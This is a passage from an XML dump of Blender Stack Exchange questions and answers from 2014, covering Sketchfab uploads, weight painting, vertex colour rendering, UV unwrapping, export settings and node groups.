  <row Id="19444" PostTypeId="2" ParentId="19443" CreationDate="2014-12-02T10:30:15.360" Score="7" Body="&lt;p&gt;This is fairly easy to do if you are using the Blender in combination with Sketchfab since there is an Addon that is included with Blender which sends the model directly to the website for you.(Although it can be buggy so I'll show how to do it without the Addon) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time of writing, the free version of SketchFab allows you to upload .blend files that are a maximum of 50MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the model is ready to be uploaded, you can pack all the textures individually or write a script that can iterate through all the textures and pack them automatically.  Once this is done then the .blend file will contain copies of the images.&lt;br&gt;&#xA;This will be important for loading the scene file to Sketchfab, otherwise you can load them manually afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8GbCG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, go to the SketchFab website and locate the blue &lt;strong&gt;Upload&lt;/strong&gt; button and then use the directory menu to select the .blend file that you would like to upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uKzfg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's that simple to load a model, here it is shown in the interactive 3D viewer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5tN1k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you want to embed the model and viewer into a website click the &lt;em&gt;Embed&lt;/em&gt; button and copy the contents of the mini popup dialogue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Elsno.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now paste this into the HTML code of your website as shown in the following image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LgQak.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what the page looks like after the code is embedded.  btw, the low quality banding is from the animated .gif, not sketchFab or Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XMKc8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a page here that has some extra information on preparing the material so it will function correctly with exporters/SketchFab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/19299/exporting-cycles-rendered-models-to-be-used-in-opengl/19326#19326&quot;&gt;Exporting cycles rendered models to be used in opengl&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-12-02T10:30:15.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19445" PostTypeId="1" AcceptedAnswerId="19465" CreationDate="2014-12-02T11:48:38.270" Score="2" ViewCount="618" Body="&lt;p&gt;I want to know how to make an object leave marks on another in the game engine, like skidmarks as in &lt;a href=&quot;https://www.youtube.com/watch?v=PeVpS79tYmY&quot; rel=&quot;nofollow&quot;&gt;this video&lt;/a&gt;. I'm not looking for a tutorial, just the logic of it.  How can this be done?&lt;/p&gt;&#xA;" OwnerUserId="1608" LastEditorUserId="5705" LastEditDate="2014-12-02T16:34:39.363" LastActivityDate="2014-12-02T20:38:15.587" Title="BGE: How to make an object leave [skid]marks on another object" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19446" PostTypeId="1" AcceptedAnswerId="19448" CreationDate="2014-12-02T11:51:42.727" Score="1" ViewCount="252" Body="&lt;p&gt;In this model using 2.70 with toon-rendering and freestyle some edges (circled in red in the image) are rendered that should not be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/23XH7.png&quot; alt=&quot;image, unliked lines marked&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a old man came from very old blender, so please be specific!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i keep only these edges from rendering?&lt;/p&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="5705" LastEditDate="2014-12-02T16:55:25.500" LastActivityDate="2014-12-03T07:25:11.963" Title="Hide specific wire line" Tags="&lt;edges&gt;&lt;freestyle&gt;&lt;wireframe&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19448" PostTypeId="2" ParentId="19446" CreationDate="2014-12-02T13:00:35.763" Score="4" Body="&lt;p&gt;Finally i got it now.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CfXUv.png&quot; alt=&quot;from left to right&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every face have a direction, some faces had a wrong side, so i had to flip the faces.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="2048" LastEditDate="2014-12-03T07:25:11.963" LastActivityDate="2014-12-03T07:25:11.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19449" PostTypeId="1" AcceptedAnswerId="19451" CreationDate="2014-12-02T13:05:17.057" Score="3" ViewCount="1615" Body="&lt;p&gt;There is an unwanted keyframe in my dopesheet. I can't delete it, move it, unselect it, etc. It doesn't seem to be connected to any object/bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/akkET.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the keyframe you can see to the far right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's similar in behaviour to what this guy posted on youtube(jump to 00:15):&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=9RSKKb5HcBI#t=15s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=9RSKKb5HcBI#t=15s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extra info:&#xA;I tried installing a different build. But both Blender 2.71 and 2.72b behave like this(same .blend though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen this behaviour before.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="-1" LastEditDate="2014-12-02T18:45:04.757" LastActivityDate="2014-12-02T18:45:04.757" Title="Unwanted keyframe in dope sheet" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19450" PostTypeId="1" AcceptedAnswerId="19453" CreationDate="2014-12-02T13:49:49.913" Score="15" ViewCount="25766" Body="&lt;p&gt;I was wondering that in the weight painting mode, how can I set a specific weight for a certain group of vertices instead of painting it over them?&lt;/p&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="8282" LastEditDate="2015-02-06T02:15:12.203" LastActivityDate="2020-12-08T01:34:40.863" Title="How to assign a specific weight to vertices? (instead of painting it)" Tags="&lt;vertices&gt;&lt;weight-painting&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19451" PostTypeId="2" ParentId="19449" CreationDate="2014-12-02T13:58:11.630" Score="6" Body="&lt;p&gt;This keyframe is related to an object currently not editable because of selection issues. If you engage the &lt;em&gt;little phantom&lt;/em&gt; button near the arrow in the header of your dopesheet window, it should become editable (and disengage the arrow).&lt;/p&gt;&#xA;" OwnerUserId="8292" LastEditorUserId="5705" LastEditDate="2014-12-02T14:42:54.417" LastActivityDate="2014-12-02T14:42:54.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19452" PostTypeId="2" ParentId="19450" CreationDate="2014-12-02T14:02:40.170" Score="15" Body="&lt;p&gt;In &lt;em&gt;'Edit Mode'&lt;/em&gt; assign the desired vertex group and change their weight in &lt;em&gt;'Vertex Groups'&lt;/em&gt; panel.&lt;img src=&quot;https://i.stack.imgur.com/oyxGt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Enter the &lt;em&gt;'Weight Paint Mode'&lt;/em&gt; to see the result.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/i57YG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2014-12-02T16:53:49.893" LastActivityDate="2014-12-02T16:53:49.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19453" PostTypeId="2" ParentId="19450" CreationDate="2014-12-02T14:09:49.307" Score="18" Body="&lt;p&gt;Ah, I was fooling around and found an answer.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the &lt;strong&gt;weight painting mode&lt;/strong&gt;, use the &lt;strong&gt;Vertex selection masking for painting&lt;/strong&gt;  &lt;kbd&gt;V&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select wanted vertices &lt;strong&gt;for example with Circle select tool&lt;/strong&gt; &lt;kbd&gt;C&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the wanted &lt;strong&gt;weight&lt;/strong&gt; from &lt;strong&gt;Tool Shelf&lt;/strong&gt; &lt;kbd&gt;T&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Weights -&gt; &lt;strong&gt;Set Weight&lt;/strong&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;K&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zazcj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, there's a useful addon for setting weight values:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Paint/Palettes&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Paint/Palettes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="8282" LastEditDate="2014-12-02T20:24:39.693" LastActivityDate="2014-12-02T20:24:39.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19454" PostTypeId="2" ParentId="19443" CreationDate="2014-12-02T15:19:09.013" Score="3" Body="&lt;p&gt;Yes, it is possible and it doesn't cost a lot. I recommend using Unity3D 5. Unity 3D is a game engine that can run on almost any platform. It can also run on any web browser if you install the Unity plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the user doesn't have the Unity plugin installed, it will ask the user to install it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the latest Unity3D 5 released, it can run anything on Website without Plugin. I think that Unity is the best way to do this. It uses the new web technology called &quot;WebGL&quot; to render 3D Objects, instead of its plugin. WebGl is supported everywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short answer: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Model your product in using Blender.  Then &lt;a href=&quot;http://www.blenderguru.com/tutorials/introduction-baking-cycles/#.VH3h4JUtDX4&quot; rel=&quot;nofollow&quot;&gt;BAKE&lt;/a&gt; your 3D model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Install Unity 5 and import your model. Add a rotating C# script to it that detects mouse input and rotates your model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Build the project as &lt;a href=&quot;http://blogs.unity3d.com/2014/10/14/first-unity-game-in-webgl-owlchemy-labs-conversion-of-aaaaa-to-asm-js/&quot; rel=&quot;nofollow&quot;&gt;WebGl(Preview)&lt;/a&gt; format and you are good to go. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;License:&#xA;Unity is free as long as your company make &amp;lt; 100,000 every year. If you make bigger than that, you are required to buy a Unity license which cost only $1500. Its worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the script I mentioned in #2, You can just Google &quot;Unity Rotate 3D Object with Mouse&quot;. You will find many scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;20 Minutes of Unity3D tutorial for your team should be fine t o accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="8293" LastEditorUserId="5705" LastEditDate="2014-12-02T16:00:43.720" LastActivityDate="2014-12-02T16:00:43.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19455" PostTypeId="1" CreationDate="2014-12-02T16:50:33.050" Score="2" ViewCount="6767" Body="&lt;p&gt;I'm trying to export a character animation from Blender to Cinema 4D Lite. I've tried several exports, but I have been unable to have the animation come across. I'm afraid it has something to do with Cinema 4D Lite's lack of character animation tools (they're only available on the full, non-lite versions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to Blender and tried some tutorials on baking the animation, but I'm not sure I'm doing it properly. I'm fine with not being able to edit the bones in Cinema, I just need the mesh to be animated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone lend a hand, or point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8295" LastActivityDate="2014-12-03T17:00:33.447" Title="Export Blender Character animation to Cinema 4D Lite" Tags="&lt;animation&gt;&lt;export&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19456" PostTypeId="2" ParentId="19455" CreationDate="2014-12-02T17:13:55.967" Score="2" Body="&lt;p&gt;I would use either &lt;strong&gt;COLLADA&lt;/strong&gt; or &lt;strong&gt;FBX&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;COLLADA&lt;/h1&gt;&#xA;&lt;p&gt;Copy these setting &lt;em&gt;exactly&lt;/em&gt;. They can be found on the bottom left when you choose what to call the file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LHaV3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Overview of settings&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Apply modifiers:&lt;/strong&gt;&#xA;Applies any modifiers like subsurf, generally a good thing since your mesh could end up different on the other side&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Selection Only:&lt;/strong&gt; If you have a hole bunch of other stuff in your scene, this can be useful to limit which objects you send.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Texture Options:&lt;/strong&gt; Allow you to send textures.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deform Bones Only:&lt;/strong&gt; Removes all bones that don't influence a mesh&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;em&gt;The rest of the setting are irrelevant&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; You can only export Euler rotation, not Quaternion.&lt;/p&gt;&#xA;&lt;h1&gt;FBX&lt;/h1&gt;&#xA;&lt;p&gt;The default options work, just make sure you have Armature selected:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ycc0K.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;More Options:&lt;/h1&gt;&#xA;&lt;p&gt;Simply try each one of these the C4D Lite supports. Make sure to include animation + armatures in the setting in the bottom right hand corner (like mentioned above).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/56Kld.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-03T17:00:33.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19457" PostTypeId="2" ParentId="19319" CreationDate="2014-12-02T18:25:44.690" Score="2" Body="&lt;p&gt;It's a little difficult to test since you didn't provide a .blend, but this should give you a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, remove this line from your script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# mat.use_shadeless = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shadeless is what is making it look flat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2BJ1R.png&quot; alt=&quot;Shaded vs. Shadeless&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, the texture. You had it right in your first post: you want it to be UV mapped.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# this is correct:&#xA;mtex.texture_coords = 'UV'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in order for it to show up properly, you need to UV unwrap your model. You can find an abundance of tutorials for it online, and if you already know how to do it you can disregard the rest of this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine this is your chair back:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2CCbT.png&quot; alt=&quot;Chair back&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into edit mode with &lt;kbd&gt;Tab&lt;/kbd&gt;, and select where the &lt;strong&gt;seams&lt;/strong&gt; of the texture will go. This will make sense in a second. Here's approximately what I'd recommend, for a chair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fTSPz.png&quot; alt=&quot;Seams&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that if you took scissors and cut along these lines, you would be left with a bunch of more or less flat pieces. This is exactly what you want. Now press &lt;kbd&gt;CTRL + E&lt;/kbd&gt; and click &lt;code&gt;Mark Seam&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HrcYK.png&quot; alt=&quot;Mark Seams&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you deselect all (&lt;kbd&gt;A&lt;/kbd&gt;) then you'll see red marks where you &quot;cut&quot; your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;A&lt;/kbd&gt; to select all agaain, and press &lt;kbd&gt;U&lt;/kbd&gt; and click &lt;code&gt;Unwrap&lt;/code&gt;. In the bottom left corner of the 3D view, change it to a UV/Image editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OzjYC.png&quot; alt=&quot;UV/Image Editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;ALT + O&lt;/kbd&gt;, and browse to the texture you want, and then using &lt;kbd&gt;R&lt;/kbd&gt; &lt;kbd&gt;G&lt;/kbd&gt; and &lt;kbd&gt;S&lt;/kbd&gt;, position the unwrapped model the way you want it. You may want to line the grain up with the vertical axis for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TnUcU.png&quot; alt=&quot;Unwrapped&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you will be left with a &lt;em&gt;gorgeous&lt;/em&gt; chair back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/buc4S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look around at the backside, you can see the seams too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jpjlO.png&quot; alt=&quot;Seams&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8281" LastActivityDate="2014-12-02T18:25:44.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19458" PostTypeId="1" AcceptedAnswerId="19461" CreationDate="2014-12-02T18:46:42.330" Score="2" ViewCount="1233" Body="&lt;p&gt;When I add objects to my scene from the add menu at the top I cant see them. They are toggled as visible in the outline and they are positioned so that I should be able to see them. However if I use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; I can see them fine. This isn't a problem except that when I try to add an imported model it is also invisible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Here is my blend file. You can see everything except for the cube object. The cube however is set to visible in the outline and it is in the first layer. It doesnt show up in either the 3D view or the render&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/33167&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/33167&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2:&#xA;I was just playing around with some other stuff and the cube randomly just showed up in the render, but it is still not in the viewport&lt;/p&gt;&#xA;" OwnerUserId="8296" LastEditorUserId="8296" LastEditDate="2014-12-02T19:37:14.100" LastActivityDate="2014-12-02T20:07:02.840" Title="I can't see objects added from the menu" Tags="&lt;3d-view&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19459" PostTypeId="1" AcceptedAnswerId="19460" CreationDate="2014-12-02T19:24:45.260" Score="23" ViewCount="34764" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9YVD3.jpg&quot; alt=&quot;enter image description here&quot;&gt;I have added some vertex paint and would like to see it in the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks simple enough on all the tutorials, except I don't have those options available; Having spent hours researching I am still lost, how can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cjEyr.jpg&quot; alt=&quot;All Material options expanded&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8297" LastEditorUserId="599" LastEditDate="2014-12-02T20:37:19.603" LastActivityDate="2020-05-01T00:22:06.523" Title="How can vertex paint be rendered?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="19460" PostTypeId="2" ParentId="19459" CreationDate="2014-12-02T20:07:00.813" Score="32" Body="&lt;p&gt;You should plug your vertex colors into the color input of your shader.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;With your object selected, add a new material:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DDioC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Create a meaningful name for the new material. Next, open a node editor window. One way to do this is to create a new UI window by dragging up the triangle in the bottom-left of an existing widow:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DtFiz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the type of your new window with the button on the bottom-left -- select &quot;Node Editor&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/26e19.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;You have to type the &lt;em&gt;name&lt;/em&gt; of your vertex color layer into the Attribute node. The default name is &lt;em&gt;Col&lt;/em&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cjlRu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check the name of vertex color layer in the &lt;em&gt;Vertex Color&lt;/em&gt; section of the &lt;em&gt;Object Data&lt;/em&gt; tab in the &lt;em&gt;Properties&lt;/em&gt; panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PlyhN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2015-06-29T15:07:10.907" LastActivityDate="2015-06-29T15:07:10.907" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19461" PostTypeId="2" ParentId="19458" CreationDate="2014-12-02T20:07:02.840" Score="2" Body="&lt;p&gt;You were in local view (&lt;kbd&gt;Numpad&lt;/kbd&gt;-&lt;kbd&gt;/&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-12-02T20:07:02.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19462" PostTypeId="1" CreationDate="2014-12-02T20:23:10.350" Score="3" ViewCount="89" Body="&lt;p&gt;What are &lt;strong&gt;All&lt;/strong&gt; the attributes I can access through the attribute node. I know of a few like density, flame, a UV map etc, but I'm curious as to what else there is.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="599" LastEditDate="2014-12-02T20:57:01.157" LastActivityDate="2014-12-02T20:57:01.157" Title="What are the available attributes in the attribute node?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="2" ClosedDate="2014-12-02T21:49:40.943" ContentLicense="CC BY-SA 3.0" />
  <row Id="19463" PostTypeId="5" CreationDate="2014-12-02T20:23:56.230" Score="0" Body="&lt;p&gt;A cycles node that allows information about the object using the material to be accessed via a string.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="599" LastEditDate="2014-12-02T20:54:20.693" LastActivityDate="2014-12-02T20:54:20.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19464" PostTypeId="4" CreationDate="2014-12-02T20:23:56.230" Score="0" Body="A cycles material node that allows information about the object using the material to be accessed via a sting." OwnerUserId="3127" LastEditorUserId="599" LastEditDate="2014-12-02T20:58:19.387" LastActivityDate="2014-12-02T20:58:19.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19465" PostTypeId="2" ParentId="19445" CreationDate="2014-12-02T20:38:15.587" Score="1" Body="&lt;p&gt;The best way to do this (and I tested) would be to have your trigger object (tires) rigged with an &lt;strong&gt;Edit object&lt;/strong&gt; actuator set to &lt;em&gt;add object&lt;/em&gt; &lt;strong&gt;:&lt;/strong&gt; Activate upon a collision with ground or a sharp turn (Make sure True level triggering is on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the &lt;em&gt;time&lt;/em&gt; to 30, and the target object to be a plane textured like a portion or you tires tread. Alpha channel turn down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got good effects with a rolling monkey head, so &lt;em&gt;hey&lt;/em&gt;; why not a car?&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-02T20:38:15.587" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19466" PostTypeId="1" AcceptedAnswerId="19470" CreationDate="2014-12-02T20:43:07.393" Score="3" ViewCount="567" Body="&lt;p&gt;A script I wrote, which used to work (I think Blender 2.6), no longer seems to work. I think the &lt;code&gt;select_inverse()&lt;/code&gt; operator has been removed?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made the mistake of removing the old version of Blender before installing 2.7, so I can't look back at old module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wow, go away for year and try to come back, everything is changed and old Blender forums are gone!&lt;/p&gt;&#xA;" OwnerUserId="8298" LastEditorUserId="1363" LastEditDate="2014-12-02T21:02:11.253" LastActivityDate="2021-02-12T00:42:26.277" Title="bpy.ops.object.select_inverse() removed from Python API?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19467" PostTypeId="1" AcceptedAnswerId="19468" CreationDate="2014-12-02T20:45:40.367" Score="11" ViewCount="3500" Body="&lt;p&gt;I'm working with a node group (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;) and I would like to make an independently editable copy of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I'm making a duplicate (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;), there is a second node group created. However, whenever I make changes to the nodes inside this copy, the changes are also applied to the first group. How do I avoid that?&lt;/p&gt;&#xA;" OwnerUserId="1621" LastEditorUserId="1621" LastEditDate="2014-12-02T20:59:51.853" LastActivityDate="2018-07-05T13:41:17.383" Title="How to make independently editable copies of the same node group?" Tags="&lt;nodes&gt;&lt;node-editor&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
